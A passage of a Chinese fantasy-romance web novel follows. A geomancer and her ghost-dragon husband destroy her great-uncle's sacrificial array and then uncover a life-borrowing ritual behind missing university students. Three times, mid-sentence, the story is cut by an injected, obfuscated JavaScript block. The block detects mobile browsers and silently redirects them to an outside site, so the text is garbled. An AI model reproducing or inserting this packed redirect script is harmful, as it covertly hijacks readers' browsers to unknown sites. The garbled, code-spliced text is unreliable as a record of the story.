“您连活人傀儡术都用上了?”林知夏难以置信的看向三叔公,“就不怕损了林家数百年的阴德?” 三叔公冷笑一声,拐杖重重跺地。供桌下的青铜砖突然翻转,密密麻麻的锁魂符如同活过来般爬上梁柱,转眼间织成血色蛛网就要将她笼罩其中。林知夏指间的墨玉戒突然发烫,并蒂莲纹在皮肤上顷刻绽开第二片花瓣,血色蛛网同时化为血雾。 这也太牛掰了! 林知夏震惊,但不等她继续反击,三叔公突然露出一抹诡异的笑,“时间到了。”老人浑浊的眼底泛起血丝,“当年你爸逆天改命,用让你活到今天。如今这具生辰棺,合该由你来填阵眼!” 他话音刚落,福伯突然暴起,漆盘上的青玉碗泼出漫天血雨。林知夏旋身避开,腥臭液体溅在窗棂纸上立时烧出一片蜂窝状的孔洞。她甩出桃木钉击碎梁上悬着的铜镜,镜片纷飞中瞥见晏清倚在廊下逗弄画眉鸟的身影。 林知夏:“……” “夫君倒是好兴致。”她故意咬重称呼,翻身跃过太师椅,“再不出手,你就要当鳏夫了。” 玄色衣袖翻卷如云,幽冥火凝成的锁链缠住福伯脚踝。林知夏只觉得腰间一紧,整个人就被拽进了泛着沉水香的怀抱,宴清指尖轻弹鸟笼,画眉鸟化作纸符飘落,“林家宗祠的傀儡术,倒是比戏班子精彩。” 三叔公脸色骤变,阴沉木拐杖突然裂开,露出内里暗藏的青铜剑,“鬼君非要掺和林家的内务?” “本君与娘子婚契已成。”晏清冰凉指尖拂去林知夏发间血渍,“倒是林家长辈,拿活人生桩填风水局的手段,颇有当年锁龙井遗风。” 林知夏闻言一震,“生人桩……?” “对,生人桩,”晏清广袖扫过供桌,青铜棺椁表面的冰霜寸寸龟裂,“林家先祖用九十九个活人生桩镇黄河,如今倒轮到拿自家唯一的血脉来填阵眼了。” 三叔公枯瘦的面皮剧烈抽搐,青铜剑尖抖落朱砂符纸,“逆水局已成,没有生辰棺镇压,方圆数百里都要陪葬!知夏丫头,你真要看着你母亲魂飞魄散?” 林知夏心说我妈都死多少年了,关我妈什么事,但话未开口,指间突然传来剧痛——并蒂莲纹突然渗出金红血珠,在半空凝成一股细线径自没入青铜棺! 棺盖轰然洞开,浓黑尸气中伸出数十条青铜锁链,链条末端拴着的,分明是林氏历代女子的牌位! “原来如此……”林知夏突然笑出声,眼底泛起水光,“我每月初七子时昏睡,是你们在用我的血养棺?” 漆盘上那半枚双鱼佩突然飞入棺中,幽冥火同时映出棺内景象——一个女人此时正静静躺在北斗七星阵中央,她的心口赫然则插着七枚锁魂钉! 锁魂钉?! 锁人生魂,不得超生轮回! 林知夏心中剧痛! 那是妈妈,她不会认错。 从她记事起爸爸就经常拿着妈妈生前的照片给她瞧,难怪……难怪三叔公会拿妈妈的魂魄要挟她! 晏清抬手遮住她的双眼,寒气冻住了她夺眶而出的眼泪,“别看。” 林知夏攥住他袖摆的指节发白,喉间尝到桂花糖碎裂的甜腥。她对三叔公最后一点亲情荡然无存。 摸出罗盘咬破舌尖,混着血沫将桃木钉拍在震位,林知夏面无表情,“劳烦鬼君替我镇住坎位。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237033|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>三枚康熙通宝同时破空钉入离位,晏清挑眉,“娘子要布三才镇煞局?” “改良版。”林知夏抹去唇边血渍,将五帝钱串成的红线缠在两人手腕,“借您幽冥火一用。” 青铜锁链如毒蛇袭来的瞬间,林知夏拽着红线腾空跃起。晏清会意弹指,幽蓝火焰顺着红线燃成火龙,将漫天锁链烧成赤红色。她趁机甩出罗盘,磁针吸在棺椁天枢位的青铜钉上,发出龙吟般的嗡鸣。 三叔公的青铜剑此时劈头斩下,却被幽冥火凝成的盾牌挡住。老人突然撕开衣襟,干瘪的胸膛上竟纹着一张阵图! 林知夏蹙眉,却听宴清淡淡开口,“锁龙井全图,倒是够狠。”他看向对面老人,“图若补全,以身为阵,你也无命可活。” 三叔公冷笑,“为了林家,我这条老命丢了又何妨!”说着目光幽幽的看向林知夏,“林氏养你二十年,该还债了!” 林知夏旋身避开飞溅的瓦砾,红线在掌心勒出血痕,“原来……我真的是最后一块阵眼啊。”她红着眼眶,突然扯开衣领,露出锁骨下方若隐若现的淡青印记,然后手起刀落,十分干脆的将桃木钉刺入印记! 鲜血瞬时汹涌而出,她呵呵笑出声,“三叔公,对不住,您算漏了我爸留的后手。” 以前不懂为什么爸爸要在她身上留下印记,并且千叮咛万嘱咐不让她告诉任何人,原来……想到爸爸原本健康的身体突然急转直下,哪怕给了宴清三年寿命也不该…… 林知夏大声喝问,“我爸的死和你有没有关系?!” 三叔公冷笑,“他是个傻子,为了一个女儿要拿林家十几代的基业陪葬,他不死谁死!” 林知夏怆然,“所以是你杀了他!” 三叔公状似疯癫,“害他的是你!” 林知夏真的想不通,“我是林家这一代唯一的血脉,我死了林家一样要完!三叔公,你老糊涂了!” 三叔公哈哈笑出声,“林家血脉可不只有你!” 林知夏突然什么都明白了。 “林家早年起家惯常爱用生桩填阵眼,早就恶贯满盈,老宅的阵法每二十年轮转一次,今年霜降恰逢月孛星入命宫,用你的命可保林家延续百年。”鬼君清冷的嗓音淡漠的为林知夏揭开最后一层家族的遮羞布。 林知夏看向曾经最疼爱自己的长辈,抿紧唇,毅然决然加大力道,用桃木钉刺穿最后一层印记束缚,印记遇血化作活物,在林知夏皮肤上游走成完整的锁龙井图。晏清眸中金芒大盛,幽冥火顺着地砖缝隙灌入青铜棺,将七星锁魂阵烧得通红。 “不可能!”三叔公癫狂地扑向棺椁,“当年明明把你的魂魄……” 寒光闪过,青铜剑被幽冥火弹飞。晏清揽住力竭的林知夏飘然后退,看着她用染血的手指在虚空中画出反八卦,听她气若游丝的说出,“劳驾,巽位。"” 鬼君广袖翻飞,幽冥火精准落在巽位。冲天火光中,青铜棺椁轰然炸裂,历代女子牌位上的锁魂符寸寸成灰。林知夏妈妈的身躯在火光中化作青烟,那眉目温婉的女子消散前含笑在女儿眉心落下温柔一吻。 林知夏努力让自己笑,悲伤与不舍却在眼中缠绵不去。 三叔公发出野兽般的哀嚎,阵图反噬,苍老的身躯以肉眼可见的速度干瘪下去。福伯突然挣脱傀儡符桎梏,抱着老人撞向燃烧的棺椁:“老爷,老奴陪您上路!”他最后慈爱的看了眼林知夏,笑着赴死。 林知夏想要阻拦的手被晏清按住,鬼君的掌心覆住她湿润的眼睫,“阴阳有序。” 当最后一簇幽冥火熄灭,祠堂遍地狼藉中只剩半枚双鱼佩。林知夏弯腰去捡,被晏清用衣袖卷住手腕,“沾了血煞气。” “总归是我爸留下的……”她话音戛然而止,玉佩裂隙中赫然夹着张泛黄的字条,父亲的字迹力透纸背——“夏夏亲启。” 晏清识趣地退至廊下,看她在晨曦中颤抖着展开信笺。画眉鸟不知从何处衔来朵白芍药,他手指轻弹,鸟儿乖巧的将芍药轻轻搁在她的发间。 槐花落尽时,林知夏红着眼眶走到鬼君面前,将墨玉戒按在他心口:“我爸说这是龙族的逆鳞,你……真是龙?” 晏清垂眸看着没入胸口的玉戒,鎏金瞳孔映出她鼻尖的美人痣:“林家当年剖我逆鳞时,可没这般温柔。” “所以您……真的是龙!”林知夏下意识后退,却被青铜锁链残骸绊住。 鬼君伸手将人揽回怀中,指腹擦去她颊边灰渍,“龙又如何,现今也不过是一抹孤魂罢了。” 林知夏讷讷,想到眼前这位鬼君是她先祖造孽趁人家化龙最虚弱时设计虐杀,心里就怪内疚的。 “那……有什么我能做的?” 宴清:“若我说要讨债呢?” “你想杀我?”嗅着对方衣襟的沉水香,林知夏原本就煞白的小脸更白了。 宴清:“你我夫妻,我要你命有何用?” 林知夏踌躇,“那……” 宴清:“你需为吾重塑肉身,此为你父亲应我的真正报酬。” 4. 槐荫暗涌(一) 晨光穿透槐叶缝隙时,林家老宅的滴水檐终于不再凝结冰晶。林知夏蹲在祠堂废墟里,将焦黑的青铜锁链碎片收进桐木匣。晏清倚着半截朱漆廊柱,看那抹素白身影在残垣间来回穿梭,发间白芍药沾了烟灰,倒像是染了墨的宣纸。 “这些阴料送去城隍庙镇压便是,何必亲自动手?”鬼君指尖绕着一缕幽冥火,将试图靠近的怨灵煞气通通烧成青烟,另一只手拿着她的手机把玩,玄色衣袖垂落如瀑,屏幕上反射的蓝光映得他眉间血纹愈发妖异。 林知夏头也不抬地给木匣贴上封条:“林家造的孽,总得有人善后。” 她话音刚落,手机突然响起《大悲咒》的铃声。晏清指尖一颤,险些将手机抛入云端,他蹙眉有些不高兴,“此物怎的还会诵经?” “这是来电铃声。”林知夏忍笑接过手机,看到来电显示是市文物局的张主任,忙接通,“喂,您好张主任,我是林知夏。” “小林啊,听说老宅前两天出了点状况?”张主任语气焦灼,“省里考察的专家组下个月就到,这节骨眼可千万别出岔子,当年你爸爸签的保护协议里明确写着……” 林知夏望着焦黑的梁柱苦笑,“您放心,都是常规修缮,不会出任何问题。”挂断电话时,檐角重新挂上的铜铃突然无风自动,对自家铜铃都快ptsd的林知夏身体先抖了一下,然后才摸出罗盘例行公事似的查看,发现今天的天池磁针没有跟前两天似的再指向祠堂,而是换了方位,指向了院中那株百年槐树! 她爸以前说过,这株槐树和古井那边院落的槐树是同一天种下的,树木高深,枝繁叶茂。 这几天事赶事没留意,这会儿仔细一瞧才发现,枝头上不知道什么时候竟然零零散散结了一些拳头大的青黑槐实,沉甸甸压得那几根枝桠低垂如哭躬的人影。 林知夏暗恨自己视力太好。 “劳驾搭把手。”虽然排斥,但事情总要解决,她慢吞吞走过去,踮脚去够最低的枝杈,玄色衣袂掠过身侧,“我瞧娘子这几天身心俱疲,还想着过些日子再告知你,没成想你眼睛倒是尖利。”边说着,晏清指尖凝出冰刃削断枝条,青皮槐实直接坠入林知夏的掌心。 林知夏“……”并不是很想直接用手碰到,而且明明是槐实成熟了,和她视力有什么关系! 掌中槐实在下一瞬裂开细缝,露出里面蜷缩的蛹状物——半透明薄膜裹着具婴儿骸骨,骸骨脊椎处则钉着三寸槐木钉。 林知夏喉头发紧,叹息一声,“生桩养阴槐……” 爸爸生前总说老宅风水养人,却不知道这遮天槐荫下埋着多少惨烈秘密,造孽啊。 如果不处理好后续,身为林家血脉,她是逃不掉孽力反噬的。 将槐实摘下一一封存,又在槐树上贴上驱邪镇煞符,林知夏继续收拾祠堂的烂摊子。想起什么,她转头问,“之前你说重塑肉身需要三件灵物,现在咱们有逆鳞墨玉戒,另外两样是什么?” 宴清刚要回答,眉梢微挑,广袖翻卷间,幽冥火化作锁链将刚刚踏上西南屋顶的小贼拖到了跟前。 是个穿蓝布衫的年轻道士,他怀里揣着半截招魂幡,道袍下摆沾上了些槐树汁,看上去狼狈又滑稽。 “清风观的?”林知夏皱眉看着对方腰间悬挂的太极鱼玉佩,又瞅瞅他手中的招魂幡,“玄真道长派你来收阴气?”她知道玄真观有这个业务,平时没事会派弟子四处游历瞎转悠收取阴气度化阴魂,也算是行善积德了。 但招呼都不打一个偷偷摸摸跑到她家里……这就很过分了。 就算她家这几天因为逆水局的原因阴气煞气确实有点多,也不是对方擅自偷溜进别人家的理由。 何况大家都是一个圈子的,瞧不起谁啊!需要外人来帮忙化解阴气。 小道士被抓个现行,身体抖如筛糠。 身旁那个穿的跟cosplay似的男人气场强大,实力惊人,好似一个不高兴就能把他大卸八块拿去喂狗! 小道士很害怕,他哆哆嗦嗦的解释,“对、对不住,我、我看这边阴气重,就、就没想那么多。” 林知夏:“你不是没想那么多,你是太不懂规矩。”她刚说完,小道士突然跟打了鸡血似的梗着脖子喊,“师父说林家逆水局要祸及全城,让我们来……” “来干什么?捡漏?”林知夏面无表情,“你这是私闯民宅,我要报警。” 小道士嚷嚷,“你家里阴气这样重,不知道害死了多少人,报警我也不怕!” 林知夏听了就无语,她眼神突然一凝,径自用桃木钉挑起小道士的衣襟,小道士呜呜呀呀要反抗,可惜身体被幽冥火捆缚住了四肢根本动不了。 “噬魂咒。”林知夏看着小道士锁骨上泛着青黑的鬼面纹,“被反噬了还敢乱跑,你胆子挺大。”她转头看向晏清,“七天不解,这小道士就会化作活尸。” 鬼君闻言轻笑,指尖幽冥火忽明忽暗,“娘子要救?” “清风观和林家这些年一直相安无事,他们观主跟我爸爸关系不错,我小时候还收过观主几个压岁红包,不看僧面看佛面吧。” 说着摸出三枚五帝钱按在小道士眉心,一边拜托身边的大鬼,“劳烦鬼君取些古井青苔给我。” 晏清挑眉,“使唤为夫倒是顺手。”话虽如此,玄色衣袂还是向古井方向飘去。林知夏望着他的背影,抿唇笑笑,这位千年老鬼也没那么可怕。 稍微出了点神,被捆缚了四肢的小道士袖中突然垂下数十条红绳,每根红绳都系着枚浸了血的铜钱,林知夏认出这是清风观独有的“血钱问路”术! 血钱问路和五鬼运财术差不多,都属偏门,是专门用来找东西的小数法。 “你都这样了,用得着这么拼吗?”林知夏掐住小道士命门,“我家里有什么吸引你?” “河图!”小道士眼白忽的被黑气完全侵蚀,他赫赫带喘,“师父说林家藏着锁龙井河图!”语毕,五指成爪,像身残志坚的勇士想要抓向林知夏心口,怎奈四肢都被幽冥火捆的结实,看上去就有点搞笑了。 晏清拎着盛满青苔的水桶出现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237034|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在月洞门前,不等林知夏和他分享,就袍袖一挥,小道士像断了线的风筝倒飞了出去,砸在地上咚得一声响,直接昏死过去。 林知夏龇了龇牙,鬼君走过来,指尖按到她的后脖颈处,那里有一道颜色很浅的龙纹。 破了血祭阵那天,她将墨玉戒真心实意还回来,逆鳞戒在他体内游走一圈后,再戴回手上时,她的身上就有了他的龙纹。 这是标记,属于龙族的证明。 虽然现在印记还很浅,但没关系,随着他实力复苏,□□重塑,她身上属于他的印记会越来越深,也会越来越多。 只是这样想想,龙族的鬼君大人就心情愉悦。 “你打算如何处置?”宴清操控着幽冥火将青苔碾碎敷在小道士锁骨处,青黑鬼面纹遇到青苔立刻沸腾起来。 林知夏:“不知道。”以往和这些同行打交道扯皮什么的都是家里长辈出面,爸爸在时靠爸爸,爸爸没了靠三叔公,现在三叔公也没了……林知夏就有点抓马。 她很不喜欢跟人打机锋扯皮,但现在清风观明显知道了些什么想要趁火打劫……想起什么,转头盯着晏清,“你要的灵物之一不会是锁龙井原阵图吧?” 鬼君替她拂去肩头落花,指尖有意无意擦过耳垂:“阵图哪里算得上灵物。”他掌心跳动的幽冥火这时凝出地脉虚影,“当年我的龙骨被铸成数头镇河铁牛,若想重聚肉身需集齐完整龙骨。” 林知夏刚要说什么,老宅大门突然传来急促的拍打声,声音很大,即使在第三进的院子里也能听得到。 家里最近要收拾烂摊子,宅子风水不稳,阴气煞气横行,林知夏索性给张婶他们都放了假,五进的大宅子现在只有她和宴清一人一鬼。 以往都是福伯喜欢没事的时候待在门房那边迎来送往,现在……想到福伯,林知夏眼角有些酸涩。 她压下坏心情去开门。 门外是两个打扮时髦的年轻女孩子,其中染着栗色卷发,胸前挂着南城大学校牌的女生有些惊惶的问,“请问……这里接风水单子吗?会捉鬼吗?”女生声音打着颤,“我们宿舍楼……闹鬼!” *** 晚上11点钟,万籁俱寂。 南城大学艺术楼后的老槐树足有三人合抱粗,树冠笼罩着整片人工湖。林知夏蹲在湖心亭查看罗盘,发现磁针始终指向水面下某处。 晏清化作常人看不见的虚影跟在她身后,指尖把玩着她的马尾。 原本她并不想跑这一趟,家里一摊子事,还有个清风观虎视眈眈,学校如果真的闹鬼,可以向天师协会求助,公对公,怎么都比她出面方便,万一被人当成骗子什么的人家学校再报警,想想都丢人。 俩女生也没什么钱,出一千都费劲,她以往接单子都是五位数起步来着。 但宴清却让她接下了这个单子。 说是预感有惊喜。 他说有惊喜,这话林知夏是要打对折来听的。能让他感兴趣的,百分之八十不会是容易的单子,所以今晚必要要加倍小心才行。 5. 槐荫暗涌(二) 据两个女生介绍,她们学校从半年前开始,每隔一段时间就会有一个女生莫名其妙的丢一件比较值钱的首饰,报警后警察也无计可施,既找不到失物也抓不到小偷,最后只能不了了之。 “因为时间跨度比较大,开始时我们并没有把整件事情结合在一起,只觉得学校小偷挺猖狂的,偷东西一直没被抓到。”穿JK制服的圆脸女生缩在闺蜜身后小声说,“直到我们的室友小悠也丢了首饰。” 栗发女生接着说,“小悠丢的是她外婆送给她的成年礼,是一个翡翠镯子,价值大概在五千左右。她的那个手镯卡口比较小,戴在手腕上一直没有摘下来过,但那天早上一觉醒来,手镯却不翼而飞了。” 圆脸女生:“小悠也报了警,警察来了同样没有抓到小偷找到失物。现在学校放暑假,寝室只有我们三个在,我跟小暖都自证了清白,这件事奇怪就奇怪在小悠睡眠很浅,她的手镯又很难取下来,我们实在想不通谁可以悄无声息的把手镯偷走。” 栗发女生也就是小暖接下去,“事后不管怎么想我们都觉得很诡异。小悠的外婆已经去世了,那个镯子对她来说非常重要,警察抓不到凶手,小悠就想试着自己找寻线索。她将之前丢了首饰人的名单仔细打听后一一罗列出来,想要找到共通点,然后我们就有了一个惊人的发现。” JK女生咽了下口水,“小悠是第七个丢首饰的人,她和前六个女生……她们的出生日期年份可能不同,但是生日都在农历七月初七那一天!” “我们把这个发现跟警察说了,警察叔叔让我们安心等结果,不要做其他的事打草惊蛇。” “从上周开始,小悠一直会做一个相同的梦,她梦到自己的手镯是被艺术楼后面的那棵大槐树的根偷走的,镯子就沉在槐树旁边的人工湖里。因为一直做相同的梦,所以我们三个决定到小悠梦到的地方打捞镯子试试,结果……” JK女生突然捂住嘴干呕了几下,小暖接着说下去,“结果我们发、发现槐树根里……树根里缠着好多骨头……可是等学校保安过来,那些骨头又消失不见了!学校领导认为我们在恶作剧,行为特别恶劣,罚我们每人都写了一份一万字的检讨,还差点记大过!” “小悠因为这件事不敢继续待在学校了,就搬出去投奔她老乡去了。可昨天她老乡给我们打电话说小悠不见了,突然就失踪了,联系她家里,她家里人说小悠没有回老家。这件事让我跟珠珠又担心又害怕,想到她们都是七月初七生的人,小说里不都说这样的一般都是会被做法施邪术什么的,我跟珠珠就尝试联系之前的那六个女孩子,结果一个都没有联系到,那六个女生放暑假后就跟同学老师断联了,谁都联系不到。” JK女生也就是珠珠这时开始哭起来,“我们真的很害怕,警察显然不管用,学校也不重视,听说山上老宅里的人是风水世家,一直给人看风水,我们实在是没办法了,小姐姐,你一定要帮我们找到小悠和另外六个女生!” 林知夏听到这里心里已经做出判断,包括小悠在内的七个女生恐怕已经凶多吉少。 为什么半夜来到这边的人工湖,就是因为小悠的那个梦。 宴清在她耳畔轻声说,“倒是有些像七星借命局。” 林知夏赞同,七星借命局,顾名思义借别人的命为某人延长寿命。这个局必须是七个七月初七出生的少女,而且要元阴还在的处·女才可以。它和普通的借命术还不一样,很阴毒,要以命换命。 但这些林知夏都没有告诉两个女生,毕竟活要见人死要见尸,哪怕她已经有了判断,也要尘埃落定后再告知结果,主观预判是种不负责任的行为。 将两个不情不愿的女孩子打发回寝室,林知夏确认宴清布好结界后,用朱砂在湖边亭柱画了道显形符。符咒成型的刹那,平静的湖面突然翻涌起墨绿色泡沫,数十条槐树根破水而出,而每根枝条上都卷着具森森白骨! 林知夏立即甩出五帝钱击向树根,铜钱却在触及到粘稠的液体后顷刻被腐蚀成了黑渣。晏清虚虚揽住她的腰身向后飘移,幽冥火顺着指尖窜入湖面,将整个湖底照得如同森森鬼域。 林知夏看着眼前的一切,有些头疼,这阵仗,显然不是简单的借命这么简单。 宴清:“娘子运气不错。” 林知夏:“呵呵。” 湖水沸腾间,一人一鬼清楚的看到水下槐树根系四通发达,在根系虬结的最深处竟放着一具晶莹剔透的水晶棺。棺中少女穿着上世纪八十年代流行的碎花裙,腕间的宝石手串正发出妖异红光。最诡异的是她的腹部高高隆起,肚皮下似有活物在游动! “是荫尸孕煞。”晏清的声音在林知夏识海中响起,“槐树借水脉养尸,九九八十一日便可成魃。” 林知夏将无名指的墨玉戒按到罗盘天池上,“能烧吗?” “水晶棺连着整片人工湖的地脉。”鬼君将幽冥火凝成细丝缠上她的指尖,"为夫教你画焚阴符。" 灼烧感顺着经脉游走,林知夏静心凝气顺着他的力道在虚空中勾画符咒。当最后一笔落下时,湖心突然掀起巨浪,荫尸似感知到危险要绝地求生,猛地睁开通红双眼! “小心!”晏清揽着林知夏腾空而起,原先站立的位置瞬时被树根戳出深坑。 荫尸的肚子在这时以肉眼可见的速度干瘪了下去,数百条血红色虫子从她七窍涌出,转眼将水晶棺蛀成蜂窝。 “是蛊虫。”宴清说道。 林知夏蹙眉,养在荫尸中的蛊虫能是什么好玩意儿,肯定不能放这些东西逃窜。正想布阵,宴清揽着人轻声耳语几句,林知夏诧异的挑挑眉,却没有半分犹豫,按照宴清教的快速念咒,同时甩出指间的墨玉戒! 戒指触水瞬间化作青龙虚影,它张开大口轻而易举将蛊虫尽数吞入腹中。 “龙气!”晏清瞳孔金光大盛,青龙虚影吞下那些蛊虫后竟生生凝实了三分! 林知夏不及多问,就被宴清握住执符的手重重按下,幽冥火顺着符咒纹路灌入湖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237035|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底,将整片人工湖烧成沸腾丹炉。 荫尸在火中发出婴儿啼哭般的哀嚎,身体如鼓胀的气球,嘭的一下炸得四分五裂。 林知夏刚想松口气,以为完活儿了,结果就听到从湖底传来锁链断裂之声。 林知夏:“……” 她现在不止对她家的铃铛PTSD,对锁链声其实也很有阴影,一听到这个她就肝颤,预感十分不详。 果然,晏清揽着她疾退数丈,然后沉声说,“镇河铁牛的禁制松动了!” 随着他的话音落下,数百条青铜锁链如蛟龙破水而出。 林知夏被晏清揽着腰又后退了一段距离,眼睁睁看着锁链末端拴着的一座铁牛雕像缓缓上升。 雕像很大,高应该至少三米往上,长有七八米开外,锈迹斑斑的牛角上缠满水草,牛眼中镶嵌的夜明珠则泛着惨绿幽光。 “这就是……镇河铁牛?”林知夏攥紧被水汽打湿的罗盘,“不是说当年都沉在黄河故道吗?” 晏清带着她跃到铁牛身侧,指尖抚过铁牛背部的云雷纹,幽冥火顺着纹路烧出“天启三年”的铭文,咬牙道,“林家先祖好手段,竟将我的尾椎骨铸在此处!” 林知夏闻言手指一颤,罗盘差点脱手。她望着铁牛尾部的凹陷处,那里隐约可见半枚龙鳞形状的缺口,与墨玉戒上的纹路好似确实严丝合缝。 林知夏:“……”造孽啊…… 还没等她组织好语言说点什么,又是“轰隆——”巨响,尚未彻底浮出水面的铁牛开始剧烈震颤,同时从湖底深处传来一阵空洞的回响。 “水晶棺里的那具荫尸,怕不是为了养魃,而是有人特意养的蛊皿。”宴清做出判断,“蛊虫可在此偷取铁牛龙气,若不是你误打误撞,天长日久可能还真让此人将龙气全部吸走。”说着轻笑出声,伸手将林知夏眉间的碎发剥开,“我就说今日会有意外惊喜,娘子可信了?” 林知夏:“……”呵呵。 仿佛为了印证他的话,湖心突然浮起密密麻麻的蛊虫,虫群组成八卦阵型向岸边推进。林知夏利落的咬破指尖在罗盘上画出敕令符,血珠滴入罗盘天池的刹那,整片人工湖的地脉走势在她脑中清晰浮现。 “坎位有缺口。”她拽着晏清的袖摆疾步西行,“铁牛镇着水眼,必须……” 话音戛然而止。 西南方的另一棵槐树洞里,赫然摆着三盏续命灯,这种续命灯一般都是用尸蜡制成,而火光中,清清楚楚浮动着七个少女的虚影—— 林知夏深呼吸。 宴清捏捏她的腕骨,“果然是七星借命局。”说着弹指将那三盏续命灯直接熄灭,幽冥火镇邪除煞,灯芯爆开的火星里立时传来凄厉哭嚎。 “让那硕鼠之辈也好好尝尝什么是自食恶果。” 林知夏勉强笑了笑。 她自己就是七月初七生辰,又刚刚经历了三叔公想要拿她填阵眼的事,因此也更有代入感,人心之恶,总是可以不断的刷新她的认知。 6. 槐荫暗涌(三) 林知夏不是伤春悲秋的人,难受了一下下就开始迅速布阵,人工湖里的那些蛊虫必须全部解决,放走一只后患无穷。 这时耳边听到宴清似发现了什么有趣的事,嗯?了一声。 她忙中递个眼神过去,“怎么了?” “灯芯里掺了人血。”晏清指尖挑起一缕灯盏中沁出的青烟,鎏金瞳孔映出暗红血丝,“以亲缘之血为引,这邪修倒是舍得下本钱。” 林知夏闻言心头一跳,想起她爸爸手札里记载的“血亲续命术”。正要开口,湖底铁牛突然发出龙吟般的震颤,整个湖心亭的地面开始龟裂。 不及她多想,宴清左手五指插·入她的指缝,带着她完成阵法最后一步。 符咒落下,湖面瞬时炸开,密密麻麻的蛊虫尸体如同泼墨般四溅到周边几株槐树的枝叶上,跟下了场蛊虫雨似的,要不是宴清的结界张开的及时,林知夏估计要吐。 手中的传家宝罗盘在这时示警般发出一阵蜂鸣。 林知夏:“坎位要塌!” 她拽着晏清的衣袖往东侧退去,左腿却被突然窜出的一截树根牢牢缠住,宴清的幽冥火立时顺着她的脚踝燎过,布料没事,但枝干里混着槐树汁的腥甜味被火一烧,那股味儿,别提多恶心了。 林知夏从没有像现在、此时此刻渴望老天给下一场雨把她、还有人工湖的周遭都给浇透,真的太难闻了! 晏清揽着她的腰腾空而起,玄色衣袂扫过她颈侧,“娘子可闻到了松香味?” 林知夏木着脸,“只闻到焦臭味。” 宴清轻笑着弹了下她的脑门,“仔细闻闻。” 他都这样说了,林知夏也顾不上犯恶心了,她凝神细嗅,终于在浓重的腐臭中捕捉到一丝若有若无的松香。这味道有些熟悉,林知夏回忆片刻,终于想起三年前在湘西见过的赶尸人——那些尸体额前贴的符纸,用的就是这种特制松香墨。 “是湘西吴家的驱尸符!”她猛地看向宴清,“有人在用镇河铁牛养尸傀!” 仿佛为了附和她的猜测,从那具炸开的水晶棺碎片中竟然突兀的爬出七具湿漉漉的女尸,她们看上去都很年轻,仔细看,可以看到每具女尸身上都有一件首饰:项链、发卡、耳环……其中一具女尸的左手腕上赫然是一个翡翠手镯! 林知夏看着她们眼眶里蠕动着血红色蛊虫,已经猜到她们的身份,正是失踪的那七名女生。 有必要那么狠吗? 用了人家的命,还将人家尸体炼成尸傀! 多大仇多大怨,死后真的不怕下十八层地狱?! 攥紧手中罗盘,似感应到她的怒火,无名指的墨玉戒开始发热发烫,晏清一把握住她颤抖的手,幽冥火顺着两人交握的掌心渡过来,暖暖的,驱走了她心中升腾起的丝丝寒意。 “看她们眉心。”宴清在她耳畔低声提醒。 林知夏闻言看过去,七具女尸额头都点着一粒朱砂痣,每个人位置都不同,连在一起恰好对应北斗七星。 当最后一名女生爬出水面时,整个湖面浮现出巨大的血色八卦图。 “七星转煞阵。”晏清冷笑,“倒是比林家先祖多些小聪明,知道用尸傀代替生桩。” 尸傀身心都被操控,魂魄无知无觉,自然就产生不出怨气,没有怨气,就无反噬。 林知夏:“……”知道你恨我祖宗,但也不用逮着机会就diss。 女尸们在这时突然齐声尖啸。声波震得林知夏耳膜生疼,手中罗盘磁针疯狂转动,最终死死钉在了“坤”位西南方。 林知夏看到磁针指向,知道问题还是出在湖底,正想借助罗盘进一步深入地脉走向,宴清却拦住她又要自残的动作,袍袖一挥,幽冥火化作一个脸盆大小的‘圆镜’,‘圆镜’表面浮现出地脉走向——整片人工湖的地下,竟然还深埋着七口槐木棺材! “寅时三刻,阴气最盛。”林知夏瞥见手机时间显示03:15,声音有些紧绷,“必须在天亮前破阵,否则……” “否则这些姑娘就真成魃了,永世不可超生。”晏清接过她的话头,广袖翻卷间幽冥火凝成七柄长剑,“娘子负责破棺,为夫来超度这些可怜人。” 林知夏:“……” 林知夏欲言又止,心说你一个鬼搞超度……咱俩是不是拿错剧本了? 但想了想,宴清比她聪明比她有实力,应该……不会信口雌黄? 况且人家是债主,她这个欠债人还是少说话多办事吧。 于是咽下到嘴的质疑,点头,从帆布包里掏出五帝钱串成的红线。正要跃入湖中,腕间突然一紧——晏清将一缕银发缠在了她的手腕上,发丝末端还系着一枚幽冥火凝成的小铃铛。 “遇到危险就摇铃。”鬼君指尖拂过她汗湿的鬓角,“为夫的头发可比那些法器结实。” 林知夏耳尖发热,故作镇定地嗯一声,“知道了,多谢。” 湖水比想象中更冷。 有墨玉戒护持,水倒是沾不到她分毫。 